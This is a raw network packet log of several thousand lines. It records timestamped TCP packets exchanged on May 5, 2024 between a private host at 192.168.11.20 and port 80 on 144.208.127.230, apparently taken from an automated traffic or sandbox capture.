May 5, 2024 00:25:00.379434109 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.379483938 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.379659891 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.379828930 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.379995108 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.484308004 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.484369993 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.484412909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.484457016 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.484575987 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.484745026 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.484822035 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.484879971 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.484921932 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.484958887 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.485107899 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.485130072 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.485307932 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.485445976 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.485469103 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:00.485590935 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.486076117 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.486119032 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.486159086 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.486377001 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.486418962 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.486526012 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.487077951 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.487118959 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.487279892 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.487320900 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.487752914 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.487809896 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.488162041 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.488431931 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.488477945 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.488518000 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.589551926 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.589687109 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.589911938 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.590461016 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.590518951 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.590562105 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.590600967 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.591118097 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.591176033 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.591594934 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.591847897 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.591905117 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.591944933 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:00.592129946 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:01.263315916 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:01.312216043 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:02.593252897 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:02.593252897 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:02.593293905 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:02.593341112 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:02.593501091 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:02.697839975 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.697904110 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.697946072 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.697990894 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.698034048 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.698074102 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.698113918 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.698158026 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.698199034 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.698240042 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.741102934 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.843919992 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:02.890001059 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:05.109874010 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:05.109906912 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:05.109954119 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:05.110003948 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:05.110177994 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:05.110349894 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:05.110512018 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:05.214472055 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.214539051 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.214584112 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.214622974 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.214662075 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.214700937 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.214744091 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.214783907 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215060949 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215120077 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215161085 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215200901 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215241909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215285063 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215323925 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215363026 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215400934 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215440035 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215480089 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215519905 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215558052 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215801001 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215857983 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215898991 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215938091 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.215976954 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216018915 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216058016 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216204882 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216269970 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216310024 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216348886 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216655970 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216717005 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216758966 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216798067 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216836929 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216876030 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216916084 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.216955900 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.217180014 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.217236996 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.217278004 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.217319012 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.217358112 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.217397928 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.286645889 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:05.326967955 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.037405968 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.037625074 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.037647009 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.037723064 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.037900925 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.038060904 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.038204908 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.038373947 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.038573980 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.038749933 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.038918972 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.039077997 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.039268970 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.039398909 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.039597034 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.039735079 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.144437075 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.144507885 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.144551992 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.144592047 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.144632101 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.144673109 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.144721985 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.144742966 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.144826889 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.144869089 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.144898891 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.144979000 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145021915 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145056009 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.145081043 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145123005 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145162106 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145200968 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145231962 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.145286083 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145328999 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145368099 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145405054 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.145577908 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.145643950 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145688057 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145726919 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.145917892 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.146023035 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146142006 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146183014 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146317005 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.146434069 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146475077 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146490097 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.146559954 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146600962 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146640062 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146656990 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.146704912 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146744967 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146785021 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146826982 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146843910 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.146919966 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146930933 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146941900 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146951914 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146961927 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146971941 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146982908 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146994114 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.146996975 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.147015095 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147025108 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147036076 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147046089 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147135973 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147146940 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147156954 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147164106 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.147305012 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147340059 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.147392035 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147402048 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147413015 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147423029 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147433043 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147504091 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.147540092 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147551060 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147593975 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147604942 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147615910 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147625923 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147675037 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.147723913 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147841930 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.147902012 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147912979 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147922993 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147933006 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147943020 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147953033 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.147964001 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148015976 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.148039103 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148050070 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148060083 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148071051 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148189068 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.148242950 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148344994 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148354053 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.148370028 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148503065 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148514032 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148525953 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148536921 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148546934 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148605108 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148698092 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.148762941 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148773909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148783922 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148793936 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148803949 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148814917 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148858070 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148864031 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.148885012 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148895979 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148905993 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148964882 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148976088 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148986101 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.148997068 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149033070 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.149128914 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149139881 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149149895 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149161100 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149204969 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.149239063 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149250984 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149327040 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149338007 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149373055 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.149485111 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149496078 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149549007 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.149597883 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149609089 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149619102 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149713993 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.149756908 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149858952 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149869919 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.149885893 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.150221109 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.150227070 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.150367975 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.150473118 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.150484085 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.150562048 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:07.150585890 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.150597095 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.150731087 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.150850058 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.150861025 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.263781071 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.263844013 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.263886929 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.263926983 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264269114 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264333010 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264375925 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264419079 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264461994 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264501095 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264540911 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264580965 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264852047 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264909983 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264950991 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.264992952 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265033007 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265072107 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265111923 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265151978 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265191078 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265230894 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265269995 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265309095 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265347958 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265387058 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265427113 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265466928 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265505075 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265543938 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265669107 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265713930 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265753031 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.265995026 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266053915 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266098022 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266136885 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266176939 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266310930 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266355991 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266396999 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266438007 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266478062 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266516924 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266556025 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266594887 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266633987 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266673088 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266712904 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266753912 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266793013 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266830921 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.266870022 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267015934 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267060995 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:07.267174959 CEST	80	49789	144.208.127.230	192.168.11.20
